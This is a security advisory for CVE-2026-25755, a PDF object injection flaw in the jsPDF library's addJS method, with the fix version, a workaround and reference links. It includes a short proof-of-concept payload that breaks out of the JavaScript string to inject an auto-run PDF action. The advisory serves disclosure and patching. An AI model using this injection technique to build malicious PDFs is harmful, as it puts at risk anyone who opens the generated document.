CVE-2026-25755
jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method
Impact
### Impact User control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF. ```js import { jsPDF } from "jspdf"; const doc = new jsPDF(); // Payload: // 1. ) closes the JS string. // 2. > closes the current dictionary. // 3. /AA ... injects an "Additional Action" that executes on focus/open. const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>"; doc.addJS(maliciousPayload); doc.save("vulnerable.pdf"); ``` ### Patches The vulnerability has been fixed in jspdf@4.2.0. ### Workarounds Escape parentheses in user-provided JavaScript code before passing them to the `addJS` method. ### References https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | jspdf | < 4.2.0 | 4.2.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Parall | Jspdf | before 4.2.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md
- https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437
- https://github.com/parallax/jsPDF/releases/tag/v4.2.0
- https://github.com/parallax/jsPDF/security/advisories/GHSA-9vjf-qc39-jprp
- https://access.redhat.com/errata/RHSA-2026:7110
- https://access.redhat.com/errata/RHSA-2026:7128
- https://access.redhat.com/security/cve/CVE-2026-25755
- https://bugzilla.redhat.com/show_bug.cgi?id=2440993
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25755.json
- https://github.com/advisories/GHSA-9vjf-qc39-jprp
- https://nvd.nist.gov/vuln/detail/CVE-2026-25755